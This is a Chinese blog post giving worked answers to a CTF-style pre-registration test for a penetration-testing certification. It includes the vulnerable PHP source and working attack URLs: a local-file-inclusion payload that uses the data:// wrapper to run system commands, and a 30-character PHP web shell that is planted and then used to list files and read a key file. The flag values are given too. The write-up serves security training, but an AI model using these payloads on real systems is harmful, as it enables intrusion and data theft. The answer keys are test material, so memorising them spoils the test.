«

谷安学院CISP-PTS渗透测试专家认证-预报名测试题目解答

时间:2021-11-15 22:13     作者:admin     分类: 技术文章


第一题:

直接 POST :http://103.66.216.51:9997/index.php?a=1 POST数据:b=2 即可拿到 key1:T0kS7r3c

第二题:

简单的代码审计,经典的 LFI ,做了简单的限制,不能用 php:// 伪协议,最简单的就是用其他伪协议代替

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

php伪协议利用:

http://103.66.216.51:9998/index.php?page=data:text/plain,<?php system(ls);?>

得到:flag.php index.php phpinfo.php

再次执行包含读取命令即可获得 key:

http://103.66.216.51:9998/index.php?page=data:text/plain,<?php system('cat flag.php|grep key');?>

得到 key: $flag="key2:5Fvcs07N";

第三题:

这也是一道类似 CTF 的代码审计题目,源代码在网页中,如下:

<?php
    header("Content-type:text/html;charset=utf-8"); 
    /*
    Hint:
    get the shell find the key;)\n";
    */
    $sandbox = '/var/www/html/sandbox/' . md5("M0rk" . $_SERVER['REMOTE_ADDR']);
    mkdir($sandbox,0777,true);
    chdir($sandbox);
    echo strlen($_GET['cmd']);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 30) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);
echo "<br /> IP : {$_SERVER['REMOTE_ADDR']}";

简单审计下,可以得出如下信息:

1.提示需要拿到 shell 找出 key

2.我们可以访问的路径是 ip/sandbox/加上md5("M0rk" . $_SERVER['REMOTE_ADDR'])加上你的 IP 地址,就是页面显示的 IP 地址,你的公网 IP 地址。可以在线运算下:https://sandbox.onlinephpfunctions.com/

3.png

得到的路径就是 ip/sandbox/4e9622ce5088a69b9753de99441fab27/可访问的目录。

3.通过GET 的 cmd 参数传入会进行长度判断,小于等于30的就直接调用 exec 命令执行。

下面简述拿到 key 过程:

因此一个简短的 shell 就需要控制长度在30以内,我给出的 shell 如下:ip/?cmd=echo '<?php `$_GET[c]`;'>2.php 刚好30.

step1:
http://103.66.216.51:9999/?cmd=echo '<?php `$_GET[c]`;'>2.php
获取路径-在线计算路径:
https://sandbox.onlinephpfunctions.com/
step2:
http://103.66.216.51:9999/sandbox/4e9622ce5088a69b9753de99441fab27/2.php?c=echo%20111%3E1.txt
http://103.66.216.51:9999/sandbox/4e9622ce5088a69b9753de99441fab27/1.txt
获得:111
step3:
http://103.66.216.51:9999/sandbox/4e9622ce5088a69b9753de99441fab27/2.php?c=ls%20/var/www/html/>3.txt
http://103.66.216.51:9999/sandbox/4e9622ce5088a69b9753de99441fab27/3.txt
获得:
index.php
key.php
sandbox
step4:
http://103.66.216.51:9999/sandbox/4e9622ce5088a69b9753de99441fab27/2.php?c=cat%20/var/www/html/key.php>4.txt
http://103.66.216.51:9999/sandbox/4e9622ce5088a69b9753de99441fab27/4.txt
获得:
<?php
#key3:Welc0Me From GooAnn
#

题目三做完可以自己删除释放资源:http://103.66.216.51:9999/index.php?reset=1
PS:我不考(主要是穷,没人报销,有公司报销可以考一个玩),看到有人发群里的,顺手做一下,其实二三题目还有多种解法,欢迎评论。

标签: CTF

版权所有:Mrxn's Blog
文章标题:谷安学院CISP-PTS渗透测试专家认证-预报名测试题目解答
除非注明,文章均为 Mrxn's Blog 原创,请勿用于任何商业用途,转载请注明作者和出处 Mrxn's Blog

扫描二维码,在手机上阅读

推荐阅读: